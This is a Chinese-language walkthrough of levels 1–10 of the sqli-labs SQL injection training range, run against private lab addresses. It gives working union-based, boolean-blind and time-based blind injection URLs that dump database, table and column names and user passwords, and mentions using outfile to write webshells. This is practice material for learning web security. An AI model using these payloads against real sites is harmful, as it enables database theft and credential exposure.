sql注入靶场sqli-labs 1-10关通关教程

sql注入是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。

sql注入原理

sql注入漏洞的产生需要满足以下两个条件:

  • 参数用户可控:前端传给后端的参数内容是用户可控的。
  • 参数带入数据库查询:传入的参数拼接到sql语句,且带入数据库查询。

当传入的ID参数为1’时,数据库执行的代码如下表示:

1
select * from users where id =1'

这不符合数据库语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的sql语句如下:

1
select * from users where id = 1 and 1=1

因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2不成立,所以返回假,页面就会返回与id=1不同的结果。
由此可以初步判断ID参数存在sql注入漏洞,攻击者可以进一步拼接sql语句进行攻击,导致数据库信息泄露,甚至进一步获取服务器权限等。

mysql相关知识点

在mysql5.0版本之后,mysql默认在数据库中存放一个‘information——schema’的数据库,在该数据库中分别有三个表:SCHEMATA、TABLES、COLUMNS。

  • SCHEMATA表: 储存该用户创建的所有数据库的库名。记录数据库库名的表字段为SCHEMA_NAME
  • TABLES表:表示该用户创建的所有数据库的库名和表名,该表记录数据库库名和表名的字段分别为TABLE_SCHEMA和TABLE_NAME。
  • COLUMNS表:储存该用户创建的所有数据库的库名、表名、字段名,该表记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

limit的用法

limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录:n是指取n条记录。例如limit 0,1表示从第一条记录开始,取一条记录。

注释符

在mysql中,常见注释符的表达方式:

  • –空格
  • /**/

Less-1

看提示为字符型注入,分别尝试?id=1?id=1‘、?id=1"添加到url中,发现?id=1'报错,说明是字符型注入而且是单引号注入。
我们可以在http://192.168.150.16/Less-1/后面直接添加`?id=1'`,结果如下图:

从上面的错误当中,可以看到提交到sql中的1'在经过sql语句构造后形成'1'' LIMIT 0,1,多加了一个'。这种方式就是从错误信息中得到需要的信息,接下来就是去掉多余的'

知识点

在url中空格和一些特殊字符会进行url编码,例如:

  • #:%23
  • 空格:%20
  • ‘:%27
  • +:空格

开始注入

这里选择在'后面加上--+进行闭合。访问id=1 and 1=1,由于and 1=1为真,所以页面应返回与id=1相同的结果,如下图

访问id=1 and 1=2,由于and 1=2为假,所以页面应返回与id=1不同的结果。如下图:

可以得出该网站可能存在sql注入漏洞的结论。接着使用order by查询该数据表的字段数量。如下图:


在数据库中查询参数ID对应的内容然后将数据库的内容输出到页面,由于是将数据输出到页面上的,所以可以使用Union注入,并通过order by查询结果,得到字段数为3,所以union注入的语句如下表示

1
union select 1,2,3


可以通过设置参数ID值,让服务器端返回union select的结果,例如:把ID的值设置-1,这样数据库中没有id=-1的数据,所以会返回union select的结果。

返回结果为2和3,意味着在union select 1,2,3中,2和3的位置可以输入MySQL语句。

爆库名

1
http://192.168.150.16/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

爆表名

1
http://192.168.150.16/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables  where table_schema='security' --+

爆表字段

1
http://192.168.150.16/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns  where table_name='users'  --+

爆表字段的内容

1
http://192.168.150.16/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)  --+

Less-2

数字型注入,不需要去闭合。

Less-3

跟第一关基本一样,这个是需要闭合前面的括号。')

1
$sql=select * from users where id=("$id");

Less-4

跟第三关一样,')换成")这样就可以啦。

Less-5

打开发现只有一个you are in….. 将id改为一个不存在的数值就消失,可以判断是盲注,加单引号就报错,所以有sql注入。
由于页面只返回you are in…..或者不显示,所以此处不可使用union注入。可以尝试boolean进行注入或者其他方法,这里我使用的是Boolean。

Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测那些SQL判断条件是成立的,以此获取数据库中的数据。

这里使用的工具是burpsuite。

  • 判断数据库名的长度。

由此可以得出数据库库名长度为8。

  • 利用substr判断数据库的库名

数据库的库名范围一般在a~Z、0-9之内,可能还有一些特殊字符,这里的字母不区分大小写。逐字符判断的sql语句为:

1
' and substr(database(),1,1)='i'--+

substr是截取的意思,意思是截取database()的值,从第一个字符开始,每次只返回一个。

substr的用法跟limit的有区别,需要注意。limit是从0开始排序,而这里是从1开始排序。可以使用burp的爆破功能爆破其中的’i’值。

  • 利用substr判断数据库的表名

以此类推,就可以查询出所有的表名与字段名。

Less-6

跟第五关一样,只是将单引号换成了双引号。

Less-7

在这里的显示是Use oufile,oufile函数是mysql写入文件的一种函数,经常被用来写入webshell,同时mysql还有个读取文件的函数load_file函数,但是使用之前都需要找到网站的绝对路径。注意这两个函数能否成功执行受到参数secure_file_priv的影响。

  • 其中当参数secure_file_priv为空时,对导入导出无限制
  • 当值为一个指定的目录时,只能向指定的目录导入导出
  • 当值被设置为NULL时,禁止导入导出功能
    这一关还是忍不住使用了sqlmap,手动滑稽。

这篇有详细的思路:sqli-labs通关教程—-1~10关

Less-8

不能使用报错注入,其他跟第五关一样。

Less-9

这一关使用的是时间注入攻击。时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此IF语句含义是:如果expr1为true,则IF()的返回值为expr2:否则返回值则为expr3。
所以判断数据库的长度语句为:

1
?id=1' and if (length(database())>1,sleep(5),1)

可以看到页面相应时间为5s。多次测试后可以得到数据库库名的长度。

接下来就可以进行对数据库表名的猜解。
语句为:

1
?id=1' and if (substr(database(),1,1)='s',sleep(5),1)

说明数据库名的第一位字母为s,以此类推就可以得到完整的数据库的库名,表名、字段名、和具体数据。

  • 爆表名:
1
http://192.168.150.17/Less-9/?id=1' and  if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) --+
  • 爆列名
1
http://192.168.150.17/Less-9/?id=1' and  if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)>'e',sleep(5),1) --+
  • 具体数据
1
http://192.168.150.17/Less-9/?id=1' and  If(ascii(substr((select password from users limit 0,1),1,1))<101,sleep(5),1) --+

Less-10

跟第九关一样时间盲注,单引号换成双引号。

参考